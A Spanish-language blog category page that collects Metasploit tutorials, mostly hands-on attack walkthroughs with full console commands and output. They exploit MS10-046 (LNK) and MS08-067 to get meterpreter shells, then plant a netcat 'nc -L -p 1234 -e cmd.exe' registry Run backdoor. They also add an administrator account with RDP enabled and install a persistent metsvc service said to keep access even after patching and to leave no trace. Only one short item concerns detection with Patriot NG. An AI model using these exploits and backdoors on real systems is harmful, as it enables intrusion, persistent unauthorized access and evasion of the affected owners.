Categoría: Metasploit
Metasploit
¿Meterpreter en Linux?
¡¡¡ METERPRETER PARA LINUX !!!
Metasploit Pro 3.5
Patriot NG 1.0 para defendernos de un ataque con Metasploit
Si ayer nuestro compañero Yago presentaba la versión 1.0 de Patriot NG, ahora os enseñamos como gracias a este programa podemos detectar y mitigar un ataque mediante un exploit que, en este caso, vamos a lanzar desde Metasploit Framework.
El exploit que usaremos va a ser windows/browser/ms10_046_shortcut_icon_dllloader(el fallo de los .lnk), el cual vamos a explotar a través de Internet Explorer. Como payload usaremos windows/shell_reverse_tcp para obtener el control del equipo remoto mediante consola de comandos.
Metasploit abrirá un puerto, al que conectaremos con IE. La configuración es la siguiente:
Explotando «LNK» con MetaSploit
MetaSploit nuevamente tiene un PoC para una vulnerabilidad que todavía no posee un parche de corrección de Microsoft.
Para testear esta vulnerabilidad primero debemos actualizar el framework con «svn update», y luego hacemos lo siguiente:
use windows/browser/ms10_xxx_windows_shell_lnk_execute
set SRVHOST 192.168.162.136
set SRVPORT 80
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.162.136
set LPORT 443
exploit
De esta forma vamos a levantar un servidor web en el puerto 80, que cuando la víctima lo visite, nos dará una shell de meterpreter a través del puerto 443. Funciona muy bien!
Todavía no hay un parche de seguridad de Microsoft para corregir este problema, pero pueden encontrar algunos workarounds a continuación:
Microsoft Security Advisory (2286198)
– Security By Default: Solución a la vulnerabilidad «LNK» de Windows mediante Directivas de Restricción de Software
Fuente: http://www.kungfoosion.com/
Creando un Exploit Paso a Paso
encontrada y finalmente, convertirlo en un módulo de Metasploit?, son algunas de las interrogantes que alguna vez nos hemos realizado y David Hoelzer , Senior Fellow en el Instituto SANS nos las resuelve con esta serie de vídeo tutoriales.
Metasploit – Browser Autopwn
Metasploit ofrece la posibilidad de lanzar exploits de acuerdo al la versión del browser que la victima este utilizando, es decir que si el usuario usa Firefox como su explorador predeterminado no se tendrán en cuenta (al momento de ejecutar el ataque) exploits para Internet Explorer.
Subir Archivos y Crear Clave dentro del Registro [BackDoor ]
[Metasploit By: Shell Root]
Cuando ingresamos a un P.C remoto, con ayuda del Metasploit, además de tener el PAYLOAD con Meterpreter, tenemos varias opciones. Una de ellas conseguir la Shell Remota, Ingresar Claves al Registro de Windows, Subir Archivos del P.C atacante hacia la P.C Remota.
Primero ingresaremos a la P.C con el exploit:
- exploit/windows/smb/ms08_067_netapi
y con el PAYLOAD:
- windows/shell/bind_tcp
- windows/shell/reverse_tcp
En este caso usaremos el PAYLOAD windows/shell/bind_tcp.
Código:
## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ metasploit v3.3.2-release [core:3.3 api:1.0] + -- --=[ 462 exploits - 219 auxiliary + -- --=[ 192 payloads - 22 encoders - 8 nops =[ svn r7808 updated 7 days ago (2009.12.10) msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3 RHOST => 192.168.0.3 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.3 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.0.3 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:1934 -> 192.168.0.3:4444) meterpreter >
Ahora estamos dentro del P.C Remoto, Subamos el Archivo NetCat de nuestra P.C a la P.C Remota, con uso del comando upload. Miremos que opciones tiene esté comando.
Código:
meterpreter > upload Usage: upload [options] [Ubicación Archivo Local] [Ubicación Archivo Remoto] Uploads local files and directories to the remote machine. OPTIONS: -r Upload recursively. meterpreter >
Así:
Código:
meterpreter > upload C:\Windows\System32\nc.exe C:\Windows\System32\[*] uploading : C:WindowsSystem32nc.exe -> C:WindowsSystem32[*] uploaded : C:WindowsSystem32nc.exe -> C:WindowsSystem32\nc.exe meterpreter >
Despues crearemos una clave dentro del Registro de Windows con la siguiente ruta:
- HKLM\Software\Microsoft\Windows\CurrentVersion \Run
Asi:
Código:
meterpreter > reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Hacked -d 'C:WindowsSystem32nc.exe -L -d -p 1234 -e cmd.exe' Successful set Hacked. meterpreter >
Ahora solo nos queda reiniciar el P.C remoto con el comando Reboot. Asi:
Código:
meterpreter > reboot Rebooting... meterpreter >
Y por ultimo conectarnos con el BackDoor que acabamos de dejar en la P.C Remota. Podemos usar el Mismos Metasploit o la Consola de Windows. En este caso usaremos el Metasploit. Así:
Código:
msf > connect 192.168.0.3 1234[*] Connected to 192.168.0.3:1234 Microsoft Windows XP [Versi¢n 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:Documents and SettingsShell Root Remoto>
By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/subir-archivos-y-crear-clave-dentro-del.html
Habilitar Escritorio Remoto
[Metasploit By: Shell Root]
Una de las muchas herramientas que trae integrada el Metasploit aparte de la que ya hemos visto (keyylogger, Screenshot, Ver Escritorio Remoto ). Tambien podemos agregar un usuario y habilitar el escritorio remoto de la P.C Remota con tan solo una ejecucion de un comando. Aquí veremos el uso de esté servicio del Metasploit.
Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi
y con el PAYLOAD:
* windows/meterpreter/bind_tcp
* windows/meterpreter/reverse_tcp
En este caso usaremos el PAYLOAD windows/shell/bind_tcp.
Código:
888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 888 888 888 =[ metasploit v3.3.2-release [core:3.3 api:1.0] + -- --=[ 462 exploits - 219 auxiliary + -- --=[ 192 payloads - 22 encoders - 8 nops =[ svn r7808 updated 10 days ago (2009.12.10) Warning: This copy of the Metasploit Framework was last updated 10 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: http://dev.metasploit.com/redmine/projects/framework/wiki/Updating msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3 RHOST => 192.168.0.3 msf exploit(ms08_067_netapi) > set PAYLOAD windows/bind_tcp [-] The value specified for PAYLOAD is not valid. msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:12995 -> 192.168.0.3:4444) meterpreter >
Ahora que tenemos el Meterpreter ejecutamos el comando run getgui. Miremos que opciones tiene.
Código:
meterpreter > run getgui Windows Remote Desktop Enabler Meterpreter Script Usage: getgui -u <username> -p <password> Or: getgui -e OPTIONS: -e Enable RDP only. -h Help menu. -p <opt> The Password of the user to add. -u <opt> The Username of the user to add. meterpreter >
Ahora ingresamos los parametros necesarios para perfecta ejecución del exploit. Así:
Código:
meterpreter > run getgui -u Shell -p Root[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Enabling Remote Desktop[*] RDP is disabled; enabling it ...[*] Setting Terminal Services service startup mode[*] The Terminal Services service is not set to auto, changing it to auto ...[*] Opening port in local firewall if necessary[*] Setting user account for logon[*] Adding User: Shell with Password: Root[*] Adding User: Shell to local group Remote Desktop Users[*] Adding User: Shell to local group Administrators[*] You can now login with the created user
Ahora ya tan solo nos queda conectarnos desde la Conexión a Escritorio remoto que trae integrado Windows.
[youtube=http://www.youtube.com/watch?v=VKLNgMgVtvs]
By: Shell Root
Fuente: Habilitar Escritorio Remoto
Crear un Backdoor con meterpreter
Primero, necesitamos una sesión de meterpreter en el sistema remoto.
_ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / _|/ _|/ / _| | | | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/ /| | =[ metasploit v3.3.4-dev [core:3.3 api:1.0] + -- --=[ 489 exploits - 225 auxiliary + -- --=[ 192 payloads - 23 encoders - 8 nops =[ svn r8074 updated today (2010.01.05) msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128 RHOST => 172.16.83.128 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1 LHOST => 172.16.83.1 msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 3 - lang:English [*] Selected Target: Windows XP SP3 English (NX) [*] Triggering the vulnerability... [*] Sending stage (723456 bytes) [*] Meterpreter session 3 opened (172.16.83.1:54745 -> 172.16.83.128:4444) meterpreter >
Una vez conseguida, ejecutamos metsrv, que instalará como servicio un servidor de meterpreter en el host remoto.
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:WINDOWSTEMPHdOFwlxzpobWuh... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed.
Ahora, si queremos, podemos reiniciar el sistema remoto, aunque el servicio ya está corriendo.
meterpreter > reboot Rebooting... meterpreter >
Ahora, cuando se reinicie el host remoto, vamos a conectarnos al servicio de meterpreter que acabamos de instalar.
Para ello, usaremos el handler para que nos porte el exploit windows/metsvc_bind_tcp, lo configuraremos y nos conectaremos, como haré yo.
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/metsvc_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > set RHOST 172.16.83.128 RHOST => 172.16.83.128 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler [*] Meterpreter session 1 opened (172.16.83.1:42050 -> 172.16.83.128:31337) meterpreter >
Y ya está! Esto nos viene bien por si el host remoto aplica un parche que corrija sus vulnerabilidades.
Aunque parchee el sistema, nosotros tendremos acceso a su sistema a través de ese backdoor.
Y si queremos desinstar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos que ejecutar metsvc -r en nuestra sesión de meterpreter.
meterpreter > run metsvc -r [*] Removing the existing Meterpreter service [*] Creating a temporary installation directory C:WINDOWSTEMPQQqawIYOjLq... [*] >> Uploading metsvc.exe... [*] Stopping the service... * Stopping service metsvc * Removing service Service metsvc successfully removed. meterpreter >